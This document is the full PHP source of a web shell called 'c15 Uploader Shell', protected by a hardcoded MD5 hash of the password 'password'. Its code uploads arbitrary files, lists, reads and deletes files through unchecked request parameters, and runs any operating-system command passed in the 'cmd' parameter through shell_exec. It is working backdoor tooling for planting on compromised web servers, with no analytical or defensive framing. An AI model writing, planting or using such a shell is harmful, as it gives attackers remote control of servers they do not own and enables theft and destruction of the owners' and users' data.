<?php
error_reporting(0);
session_start();
// Password: "password"
$hash = '5f4dcc3b5aa765d61d8327deb882cf99';
if (isset($_POST['password'])) {
if (md5($_POST['password']) == $hash) {
$_SESSION['login'] = true;
} else {
echo "<p style='color:red'>Wrong password</p>";
}
}
if (!isset($_SESSION['login'])) {
echo '<form method="post">
<input type="password" name="password" placeholder="Enter password">
<input type="submit" value="Login">
</form>';
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<title>c15 Uploader Shell</title>
<style>
body { background: #000; color: #0f0; font-family: Consolas; padding: 20px; }
input, select { background: #111; color: #0f0; border: 1px solid #0f0; padding: 5px; }
a { color: #0ff; text-decoration: none; }
a:hover { text-decoration: underline; }
</style>
</head>
<body>
<h2>c15 Shell</h2>
<p><strong>Current Directory:</strong> <?php echo getcwd(); ?></p>
<!-- File Upload -->
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="upload" value="Upload">
</form>
<?php
if (isset($_POST['upload'])) {
if (move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo "<p style='color:lime;'>Uploaded: " . htmlspecialchars($_FILES['file']['name']) . "</p>";
} else {
echo "<p style='color:red;'>Upload failed</p>";
}
}
?>
<!-- List Files -->
<h3>Files:</h3>
<ul>
<?php
$files = scandir('.');
foreach ($files as $file) {
if ($file == '.' || $file == '..') continue;
echo "<li>";
echo is_dir($file) ? "[DIR] " : "[FILE] ";
echo "<a href='?view=" . urlencode($file) . "'>" . htmlspecialchars($file) . "</a>";
echo " | <a href='?del=" . urlencode($file) . "' style='color:red;'>Delete</a>";
echo "</li>";
}
?>
</ul>
<!-- Delete File -->
<?php
if (isset($_GET['del'])) {
$target = $_GET['del'];
if (is_file($target) && unlink($target)) {
echo "<p style='color:lime;'>Deleted: " . htmlspecialchars($target) . "</p>";
} else {
echo "<p style='color:red;'>Failed to delete: " . htmlspecialchars($target) . "</p>";
}
}
?>
<!-- View File -->
<?php
if (isset($_GET['view'])) {
$view = $_GET['view'];
if (is_file($view)) {
echo "<h3>Viewing: " . htmlspecialchars($view) . "</h3>";
echo "<pre style='background:#111; padding:10px; border:1px solid #0f0;'>";
echo htmlspecialchars(file_get_contents($view));
echo "</pre>";
}
}
?>
<!-- CMD (Windows) -->
<h3>CMD Windows</h3>
<form method="get">
<input type="text" name="cmd" size="60" placeholder="whoami, dir, etc">
<input type="submit" value="Run">
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
$out = shell_exec($_GET['cmd'] . ' 2>&1');
echo htmlspecialchars($out);
}
?>
</pre>
</body>
</html>